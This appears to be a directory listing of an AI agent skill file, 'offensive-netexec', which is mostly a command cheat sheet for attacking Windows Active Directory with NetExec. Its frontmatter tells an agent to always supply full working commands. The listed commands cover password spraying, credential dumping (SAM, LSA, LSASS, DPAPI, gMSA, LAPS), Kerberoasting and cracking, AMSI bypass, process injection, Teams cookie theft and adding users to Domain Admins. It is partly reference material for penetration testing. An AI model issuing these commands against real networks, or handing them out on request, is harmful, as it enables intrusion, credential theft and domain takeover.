Download Skills/active-directory/offensive-netexec/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does offensive-netexec live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use offensive-netexec?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.
>
name: offensive-netexec
description: >
Use this skill whenever the user asks about NetExec (nxc) — a network
exploitation and post-exploitation tool for Active Directory environments.
Triggers include: any mention of 'nxc', 'netexec', 'crackmapexec' successor
questions, AD enumeration, SMB/LDAP/WinRM/MSSQL/SSH/RDP/VNC/WMI/FTP/NFS
protocol attacks, password spraying, credential dumping (SAM, NTDS, LSASS,
DPAPI), Kerberoasting, ASREPRoasting, lateral movement, BloodHound collection,
module usage, or any pentest workflow involving Windows domain environments.
This skill covers ALL protocols, ALL modules, and ALL core features of NetExec.
Always provide full command examples with correct flags and options.
(Pwn3d!) — Admin access / code execution available
Pwn3d! Meaning by Protocol
Protocol
Pwn3d! Meaning
SMB
Local/domain admin access
WMI
Local admin
WinRM
Code execution
RDP
Code execution
VNC
Code execution
LDAP
Path to Domain Admin
SSH
Root access
FTP
No check
Password Spraying & Brute Force
# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success
# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt
# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce
# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5
# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)
# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success
⚠️ OpSec: Jitter works per-host. Spraying against multiple hosts
multiplies authentication attempts. Monitor domain lockout policy before
spraying (use --pass-pol first).
SMB Protocol
Network Discovery
# Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24
# Expected output:
# SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)
Enumeration
# Shares and access
nxc smb <ip> -u user -p pass --shares
# Null session share enum
nxc smb <ip> -u '' -p '' --shares
# Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares
# Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt
# Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000 # Set max RID
# Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol
# Logged-on users (requires admin)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser
# Active Windows sessions (registry-based, no admin needed)
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'
# Active sessions via QWINSTA (admin required)
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser
# Local groups
nxc smb 192.168.1.0/24 -u user -p pass --local-group
# Disks
nxc smb 192.168.1.0/24 -u user -p pass --disks
# Network interfaces (admin required)
nxc smb <ip> -u user -p pass --interfaces
# Null sessions
nxc smb <ip> -u '' -p ''
# SMB signing not required (relay attack candidates)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Check for NTLMv1 (via remote registry, admin required)
nxc smb <ip> -u user -p pass -M ntlmv1
# Enumerate AV/EDR (no admin needed)
nxc smb <ip> -u user -p pass -M enum_av
# Enumerate BitLocker status
nxc smb <ip> -u user -p pass -M bitlocker
# Enumerate remote processes (admin required)
nxc smb <ip> -u user -p pass --remote-processes
# Check for lockscreen backdoors (admin required)
nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors
Spidering Shares
# Spider specific share for file pattern
nxc smb <ip> -u user -p pass --spider C\$ --pattern txt
# Spider all readable shares (list only)
nxc smb <ip> -u user -p pass -M spider_plus
# Spider and download all files
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
# Filter by content/regex
nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'
File Operations
# Get a file
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt
# Put a file
nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt
Command Execution
Requires admin/Pwn3d! access.
# Execute cmd command (-x)
nxc smb <ip> -u Administrator -p 'Pass' -x whoami
# Execute PowerShell command (-X)
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'
# Force specific execution method
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec
# Bypass AMSI for PowerShell
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload
# Process Injection — run as another user's process (SYSTEM needed)
nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami
Execution method order (automatic fallback): wmiexec → atexec → smbexec
Credential Dumping via SMB
All methods below require local admin unless noted.
# Read LAPS password (if you have a user with ReadLAPSPassword rights)
nxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name
Delegation Abuse
# RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator
# S4U2Self — with computer account nearly always gets local admin
nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self
Miscellaneous SMB
# Impersonate logged-on users
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami
# Change user password
nxc smb <ip> -u user -p pass --change-password newpassword
# Modify group membership
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser
# Dump Teams cookies
nxc smb <ip> -u user -p pass -M teams_localdb
# Steal Teams cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies
# Check spooler / WebDAV running
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav
# Defeating LAPS — read password if privileged
nxc smb <ip> -u privilegeduser -p pass --laps
LDAP Protocol
Authentication / Basic
nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local
User Enumeration
nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count # Users with adminCount=1
Group Enumeration
nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"
Domain Info
nxc ldap <ip> -u user -p pass --dc-list # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid # Domain SID
nxc ldap <ip> -u user -p pass --trusts # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing # LDAP signing config
Kerberos Attacks
# ASREPRoast — no auth needed if you have usernames
nxc ldap <ip> -u '' -p '' --asreproast output.txt # anonymous (if allowed)
nxc ldap <ip> -u users.txt -p '' --asreproast output.txt
nxc ldap <ip> -u user -p pass --asreproast output.txt # authenticated (finds all)
nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local
# Crack with hashcat
hashcat -m18200 output.txt wordlist.txt
# Kerberoasting
nxc ldap <ip> -u user -p pass --kerberoasting output.txt
# Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list
# Kerberoasting via AS-REP roastable account
nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt
# Crack with hashcat
hashcat -m13100 output.txt wordlist.txt
# Pre2k Computer Account Abuse
nxc ldap <ip> -u user -p pass -M pre2k
# Tickets saved to ~/.nxc/modules/pre2k/ccache/
Privilege Escalation & Delegation
# Find all misconfigured delegations (Unconstrained, Constrained, RBCD)
nxc ldap <ip> -u user -p pass --find-delegation
# Unconstrained delegation accounts
nxc ldap <ip> -u user -p pass --unconstrained-delegation
ACL / DACL Analysis
# Read all ACEs on a target object
nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read
# Check what rights a specific principal has on a target
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp
# Find who has DCSync rights
nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
# Check for DENY ACEs
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied
# Backup DACLs for multiple targets
nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup
Credential & Secret Extraction
# Dump gMSA passwords (requires right; uses LDAPS automatically)
nxc ldap <ip> -u user -p pass --gmsa
# Extract gMSA secrets
nxc ldap <ip> -u user -p pass -M get-gmsa-creds
# Read DACL rights on gMSA
nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>
BloodHound Data Collection
nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOn
SCCM / Entra ID / DNS
# SCCM enumeration
nxc ldap <ip> -u user -p pass -M enum-sccm
# Entra ID enumeration
nxc ldap <ip> -u user -p pass --entra-id
# Unsecured DNS zones
nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones
# Custom LDAP query
nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"
raisechild — Domain Trust Escalation
nxc ldap <ip> -u user -p pass -M raisechild
WinRM Protocol
# Check auth
nxc winrm <ip> -u user -p pass
# Execute command
nxc winrm <ip> -u user -p pass -X whoami
# Credential dumping (admin required)
nxc winrm <ip> -u user -p pass --sam
nxc winrm <ip> -u user -p pass --lsa
nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds
Pwn3d! on WinRM = code execution is possible. Use evil-winrm for
interactive shell: evil-winrm -i <ip> -u user -p pass
# List all modules for a protocol
nxc smb -L
nxc ldap -L
nxc winrm -L
# View module options
nxc smb -M lsassy --options
# Run a module
nxc smb <ip> -u user -p pass -M lsassy
# Run with options
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
# Run MULTIPLE modules at once (v1.1+)
nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp
Logging & Audit Mode
# Log all results to file
nxc smb <target> -u user -p pass --log results.txt
# Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)
# Set: audit_mode = * (or any character to use as redaction mask)
Download Skills/active-directory/offensive-netexec/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does offensive-netexec live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use offensive-netexec?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.